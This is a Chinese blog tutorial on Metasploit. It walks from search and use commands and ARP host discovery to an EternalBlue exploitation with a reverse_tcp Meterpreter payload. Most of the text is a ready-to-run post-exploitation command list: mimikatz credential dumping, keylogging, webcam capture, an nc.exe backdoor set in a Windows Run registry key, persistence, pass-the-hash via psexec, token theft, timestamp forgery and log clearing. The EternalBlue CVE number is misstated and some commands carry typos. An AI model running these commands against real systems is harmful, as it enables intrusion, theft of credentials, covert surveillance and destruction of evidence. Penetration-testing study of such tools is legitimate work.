Metasploit基础教程和简单使用

一、工具概述

metasploit不必多说,非常强大的工具。

1.基础框架

在这里插入图片描述

2.核心结构和模块功能

进入目录查看核心模块和功能
在这里插入图片描述

名称作用
dataMetasploit 使用的可编辑文件
documentation为框架提供文档
lib框架代码库
modules实际的 MSF 模块
scriptsMeterpreter 和其他脚本
tools各种有用的命令行工具

3.常用的命令

(1)connect

connect 命令主要用于远程连接主机。一般用于内网渗透。

connect 192.168.1.1(目标ip地址)

(2)show使用方法

show 命令用的很多。
“show”命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post,plugins, info, options
列出 metasploit 框架中的所有渗透攻击模块 exploits

show exploits

命令行出现的数据较多所以比较耗费时间

(3)search 搜索的使用方法

当你使用 msfconsole 的时候,你会用到各种漏洞模块、各种插件等等。所以 search 搜索命令就很重要
输入 search –h 会列出 search 命令的一些选项

search –h              //获取帮助选项
search mysql           //查找mysql相关的漏洞
search name:mysql      //查找名字里带有mysql的漏洞

在这里插入图片描述
#Name Disclosure Date Rank Check Description
编号 名称 披露日期 排名 检查 说明
每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 字段。
用户可以基于 Rank 对漏洞利用模块进行搜索,分类以及排序
Rank 按照可靠性降序排列:

1.excellent 漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
2.great 该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。
3.good 该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的Windows 7,服务器的 2012 等)
4.normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
5.average 该漏洞利用程序不可靠或者难以利用。
6.low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)
7.manual 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
通过路径进行查找

有时候,我们只记得模块的路径,但是却忘记了模块的名称。那么就可以用 path:命令查找在该路径下的所有模块。如果我要 mysql 路径下的所有 mysql 利用模块,那么就输入

search path:mysql

在这里插入图片描述
缩小查询范围
关键字:platform
作用: Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞
有时候我们会搜索到大量的模块,那么可以用 platform:命令来缩小查询范围。使用 platform 命令后,所查询的结果会列出 rank 比较高的模块。如果我要查找 mysql 的漏洞,那么输入

search platform:mysql

在这里插入图片描述
通过类型进行查找
这里要使用到 type:命令。
type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
要搜索 exploit 模块,那么就输入

search type:exploit

联合查找
大家可以使用上面的参数自行搭配使用。如果我要查找 mysql 的 exploit 相关漏洞。那么输入

search name:mysql type:exploit

(4)use的使用

use 使用参数。如你要使用到某个模块,就要使用到 use 命令

use 模块的名字

实战背景:
2008 年微软爆出 ms08_067 漏洞,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击
先查找出自己想要的 ms08_067 漏洞模块

search ms08_067

在这里插入图片描述
装载渗透模块,然后退出

use/windows/smb/ms08_067_netapi

在这里插入图片描述

(5)模块相关的命令info使用方法

info :显示模块的相关信息。

info 模块名称

在这里插入图片描述
或者加载后直接info
在这里插入图片描述
重点关注可用目标有那些操作系统可以用
Basic options: 调用漏洞需要的相关参数
Description:: 漏洞描述和执行过程
在这里插入图片描述

4、主机发现

1、基于arp发现存活主机

##进入模块
use auxiliary/scanner/discovery/arp_sweep

##看看那些参数是必须要的
show options

在这里插入图片描述
从参数列表中可以看到,设置的参数中只有三个参数是必须传的,分别是RHOSTS、THREADS、TIMEOUT,不过除了RHOSTS之外,另外两个必传参数其实有默认值,一般直接使用默认值也不会出问题。具体要不要改,看实际需求。

名称作用
INTERFACE接口名称,设置这个参数后,被扫描机器收到的数据包中的接口名称就是设定值。
RHOSTS设置IP或者网段
SHOST源ip,设置这个参数后,被扫描机器收到的数据包中的来源ip就是设定值。
SMAC源mac值,设置这个参数后,被扫描机器收到的数据包中的来源mac就是设定值。
THREADS设置线程数量
TIMEOUT:等待新数据的秒数

除了使用show options查看所有参数之外,还可以使用这个命令查看当前还缺什么参数:

show  missing

在这里插入图片描述
执行的结果显示缺失一个RHOSTS参数。
设置RHOSTS:

set RHOSTS 192.168.138.129/24

在这里插入图片描述

可以设置网段,也可以设置成单个固定ip。
由于这里是扫描网段,默认的线程熟1个会有点慢,这里改一下线程数:

set THREADS 10

在这里插入图片描述

设定好需要的参数后,就可以开始执行了:

run

下面的基本都是一样重复的操作

auxiliary/scanner/ftp/ftp_version                      //基于FTP
auxiliary/scanner/http/http_version                    //基于HTTP
auxiliary/scanner/smb/smb_version                      //基于SMB

二、永恒之蓝CVE-2017-0101利用演示

1、搜索永恒之蓝漏洞编码
在这里插入图片描述在这里插入图片描述
2、分别使用探测模块和利用模块

use use auxiliary/scanner/smb/smb_ms17_010     //探测模块 
options                                        //模块需要的配置信息
RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞
输入:set  RHOSTS  192.168.91.133
run或exploit进行探测    有+号说明存在漏洞

use exploit/windows/smb/ms17_010_eternalblu    //利用模块
info                                           //查看漏洞的利用信息

在这里插入图片描述
在这里插入图片描述
3、查看当前模块下所有可用的payload
在这里插入图片描述
4、使用设置攻击载荷模块

set payload windows/x64/meterpreter/reverse_tcp
 options                 //查看需要的参数配置信息
设置RHOST,也就是要攻击主机的ip:set   RHOST  192.168.91.133
设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell:set  LHOST 192.168.91.145

在这里插入图片描述
5、攻击成功
在这里插入图片描述

三、渗透进入网络

四、后渗透

系统命令

sessions                       #sessions –h 查看帮助
sessions -i <ID值>             #进入会话   -k  杀死会话
background                     #将当前会话放置后台
run                            #执行已有的模块,输入run后按两下tab,列出已有的脚本
info                           #查看已有模块信息
getuid                         # 查看权限 
getpid                         # 获取当前进程的pid
sysinfo                        # 查看目标机系统信息
ps                             # 查看当前活跃进程    kill <PID值> 杀死进程
idletime                       #查看目标机闲置时间
reboot / shutdown              #重启/关机
shell                          #进入目标机cmd shell


uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
uictl disable mouse                          #禁用鼠标
uictl disable keyboard                       #禁用键盘

webcam_list                   #查看摄像头
webcam_snap                   #通过摄像头拍照
webcam_stream                 #通过摄像头开启视频

execute                                      #在目标机中执行文件
execute -H -i -f cmd.exe                     #创建新进程cmd.exe,-H不可见,-i交互
clearav  #清除windows中的应用程序日志、系统日志、安全日志

文件系统命令

getwd 或者pwd                          # 查看当前工作目录  
ls
cd
search -f *pass*                       # 搜索文件  -h查看帮助
cat c:\\lltest\\lltestpasswd.txt       # 查看文件内容
upload /tmp/hack.txt C:\\lltest        # 上传文件到目标机上
download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上
edit c:\\1.txt                         #编辑或创建文件  没有的话,会新建文件
rm C:\\lltest\\hack.txt
mkdir lltest2                          #只能在当前目录下创建文件夹
rmdir lltest2                          #只能删除当前目录下文件夹
getlwd   或者 lpwd                     #操作攻击者主机 查看当前目录
lcd /tmp                               #操作攻击者主机 切换目录

//伪造时间戳
timestomp C:// -h                 #查看帮助
timestomp -v C://2.txt            #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt

网络命令

ipconfig/ifconfig
netstat –ano
arp
getproxy   #查看代理信息
route      #查看路由
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
run autoroute –h #查看帮助
run autoroute -s 192.168.159.0/24  #添加到目标环境网络
run autoroute –p  #查看添加的路由
//扫描环境
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
//代理
msf> use auxiliary/server/socks4a 
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run

信息收集

##脚本位置
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
##常用
run post/windows/gather/checkvm                    #是否虚拟机
run post/linux/gather/checkvm                      #是否虚拟机
run post/windows/gather/forensics/enum_drives      #查看分区
run post/windows/gather/enum_applications          #获取安装软件信息
run post/windows/gather/dumplinks                  #获取最近的文件操作
run post/windows/gather/enum_ie                    #获取IE缓存
run post/windows/gather/enum_chrome                #获取Chrome缓存
run post/windows/gather/enum_patches               #补丁信息
run post/windows/gather/enum_domain                #查找域控

提权

##getsystem提权  ##getsystem工作原理:①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。③Windows服务已启动,导致与命名管道建立连接。④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程
getsystem
##bypassuac提权    ##内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
##内核漏洞提权
meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit

抓取密码

load mimikatz                         #help mimikatz 查看帮助
wdigest                               #获取Wdigest密码
mimikatz_command -f samdump::hashes  #执行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords

远程桌面&截图&摄像头

enumdesktops  #查看可用的桌面
getdesktop    #获取当前meterpreter 关联的桌面
set_desktop   #设置meterpreter关联的桌面  -h查看帮助
screenshot    #截屏
use espia     #或者使用espia模块截屏  然后输入screengrab
run vnc       #使用vnc远程桌面连接

开启rdp&添加用户

run getgui –h #查看帮助
run getgui -e #开启远程桌面
run getgui -u lltest2 -p 123456   #添加用户
run getgui -f 6661 –e   #3389端口转发到6661
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662

键盘记录

keyscan_start  #开始键盘记录
keyscan_dump   #导出记录数据
keyscan_stop #结束键盘记录

抓包

use sniffer
sniffer_interfaces   #查看网卡
sniffer_start 2   #选择网卡 开始抓包
sniffer_stats 2   #查看状态
sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
sniffer_stop 2   #停止抓包

注册表操作

reg –h
    -d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
    enumkey 枚举可获得的键    setval 设置键值    queryval 查询键值数据
 ##设置nc后门
    upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值

nc -v 192.168.159.144 443  #攻击者连接nc后门

令牌操作

##假冒令牌
use incognito      #help incognito  查看帮助
list_tokens -u    #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM'  #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t    # -t 使用假冒的token 执行
或者直接shell
rev2self   #返回原始token
##窃取令牌
steal_token <pid值>   #从指定进程中窃取token   先ps
drop_token  #删除窃取的token

哈希利用

##获取哈希
run post/windows/gather/smart_hashdump  #从SAM导出密码哈希,需要SYSTEM权限
##通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击前提条件:①开启445端口 smb服务;②开启admin$共享
msf > use exploit/windows/smb/psexec
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain  WORKGROUP   #域用户需要设置SMBDomain
msf >exploit

后门植入

##1.persistence启动项后门在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项
run persistence –h  #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
##-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
##连接后门
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit
##在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter
run metsvc –h   # 查看帮助
run metsvc –A   #自动安装后门
##连接后门
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit

扫描脚本

扫描的脚本位于:/usr/share/metasploit-framework/modules/auxiliary/scanner/扫描的脚本较多,仅列几个代表:
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login

清除日志是
clearev

//后续慢慢更新

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Metasploit是一个广泛使用的渗透测试工具,用于发现和利用安全漏洞。下面是一个简要的Metasploit使用教程: 1. 安装Metasploit:你可以从官方网站(https://www.metasploit.com/)下载Metasploit框架。根据你的操作系统选择适当的版本,并按照安装指南进行安装。 2. 了解基础知识:在使用Metasploit之前,建议你对网络协议、漏洞利用和渗透测试等基础知识有一定的了解。这将帮助你更好地理解和使用Metasploit。 3. 启动Metasploit:安装完成后,你可以通过命令行或者图形界面启动Metasploit。启动后,你将看到一个交互式的命令行界面。 4. 扫描目标:在使用Metasploit之前,你需要扫描目标网络或主机来发现潜在的漏洞。你可以使用Nmap等工具进行端口扫描、服务识别等操作。 5. 选择并配置模块:Metasploit提供了许多不同类型的模块,包括扫描模块、漏洞利用模块、Payload模块等。你可以使用search命令查找相关模块,并使用use命令选择需要的模块。 6. 设置目标:使用set命令配置目标主机的IP地址、端口等信息。你还可以使用options命令查看和修改模块的参数设置。 7. 运行模块:配置完成后,你可以使用exploit命令运行模块。Metasploit将尝试利用已知漏洞攻击目标主机。 8. 获取访问权限:成功运行模块后,你可能会获得对目标主机的访问权限。这包括远程命令执行、文件上传/下载等功能。 请注意,Metasploit是一个强大的工具,需要在合法授权和合规的情况下使用。在进行任何渗透测试活动之前,务必遵循适当的法律和道德准则,并获得相关许可。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值